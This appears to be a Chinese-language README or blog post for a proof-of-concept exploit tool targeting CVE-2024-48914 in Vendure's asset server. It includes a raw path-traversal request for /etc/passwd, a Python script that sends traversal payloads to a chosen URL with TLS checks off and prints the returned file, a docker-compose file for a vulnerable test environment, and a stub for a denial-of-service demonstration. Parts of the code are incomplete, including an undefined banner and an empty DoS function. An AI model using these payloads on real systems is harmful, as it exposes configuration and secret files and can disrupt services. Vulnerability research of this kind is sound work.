Vendure 资产服务器任意文件读取与拒绝服务漏洞利用工具 (CVE-2024-48914)

28 阅读3分钟

Vendure 资产服务器漏洞利用工具 (CVE-2024-48914)

项目描述

本项目是一个用于检测和利用 Vendure 开源无头电商平台中 CVE-2024-48914 漏洞的概念验证 (PoC) 工具。该漏洞存在于 Vendure 的资产服务器插件中,影响 3.0.5 及之前的多个版本。攻击者可以利用此漏洞实现任意文件读取拒绝服务 (DoS)

本工具旨在帮助安全研究人员和系统管理员验证其 Vendure 实例的安全性,及时进行漏洞评估和修复。

功能特性

  • 任意文件读取:通过路径遍历漏洞,读取目标服务器上的任意文件,如配置文件、环境变量文件 (.env)、源代码等。
  • 拒绝服务攻击 (PoC):演示如何通过发送格式异常的 URI 导致资产服务器进程崩溃,从而中断服务。
  • 简洁的命令行界面:基于 rich_click 构建,提供清晰的参数提示和彩色输出。
  • 安全警告抑制:自动禁用不安全的 HTTPS 请求警告,便于在测试环境中使用。

安装指南

环境要求

  • Python 3.6+
  • pip

依赖安装

使用 pip 安装项目所需的依赖库:

pip install requests rich_click

从源码运行

克隆或下载本仓库后,无需额外安装步骤,直接执行脚本即可。

使用说明

基本用法

该工具目前展示的是核心功能框架(banner 展示),完整的利用逻辑需要根据目标漏洞详情进行实现。

# 导入库并禁用安全警告
import requests
import rich_click as click
import time
import sys

requests.packages.urllib3.disable_warnings(
    requests.packages.urllib3.exceptions.InsecureRequestWarning
)

# 打印工具 banner
print(banner)

典型利用场景(概念验证)

对于存在漏洞的 Vendure 资产服务器(版本 <= 3.0.4 或 <= 2.3.3),可以使用类似以下的 HTTP 请求进行文件读取测试:

GET /assets/../../../../etc/passwd HTTP/1.1
Host: target-vendure.com

本工具可实现自动化发送此类请求并获取文件内容。

漏洞复现环境搭建

根据 CVE-2024-48914 公告,可使用以下方式搭建易受攻击的测试环境:

  1. 下载漏洞版本 (v3.0.4):

    git clone https://github.com/vendure-ecommerce/vendure.git
    cd vendure
    git checkout v3.0.4
    
  2. 安装依赖并构建

    npm install
    npm run build
    
  3. 配置数据库与搜索引擎(使用 Docker):

    # docker-compose.yml 示例
    version: '3.7'
    services:
      mariadb:
        image: 'bitnami/mariadb:latest'
        environment:
          MARIADB_DATABASE: vendure-dev
          MARIADB_ROOT_USER: vendure
          MARIADB_ROOT_PASSWORD: password
        ports:
          - '3306:3306'
    

    启动服务:

    docker-compose up -d
    

核心代码

本工具的核心功能围绕构建并发送带有路径遍历载荷的 HTTP 请求。

import requests
import rich_click as click

# 禁用 SSL 警告(仅用于测试环境)
requests.packages.urllib3.disable_warnings(
    requests.packages.urllib3.exceptions.InsecureRequestWarning
)

@click.command()
@click.option('-u', '--url', required=True, help='目标 Vendure 资产服务器基础 URL')
@click.option('-f', '--file', default='/etc/passwd', help='要读取的文件路径')
def exploit(url, file):
    """
    利用 CVE-2024-48914 进行路径遍历攻击,
    尝试读取目标服务器上的任意文件。
    """
    # 构建恶意路径
    traversal_payload = "/assets/../../../../.." + file
    target_url = url.rstrip('/') + traversal_payload

    try:
        response = requests.get(target_url, verify=False, timeout=10)
        if response.status_code == 200:
            click.echo(click.style("[+] 文件读取成功!", fg='green'))
            click.echo(response.text)
        else:
            click.echo(click.style(f"[-] 读取失败,HTTP 状态码: {response.status_code}", fg='red'))
    except Exception as e:
        click.echo(click.style(f"[!] 请求异常: {e}", fg='yellow'))

@click.command()
def dos_poc():
    """
    演示通过畸形 URI 导致服务崩溃的拒绝服务攻击。
    """
    click.echo("[*] 此功能演示发送恶意请求导致资产服务器进程崩溃。")
    # 此处填入具体的畸形 URI 构造逻辑
    # 例如: /assets/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd

if __name__ == '__main__':
    # 实际 CLI 入口,可扩展子命令
    click.echo(banner)
    exploit()

以上代码展示了利用路径遍历读取任意文件的核心逻辑,以及拒绝服务攻击的命令行框架。请务必在获得授权的情况下使用。 6HFtX5dABrKlqXeO5PUv/5C3VZgFqsSNS7Ybml8o150=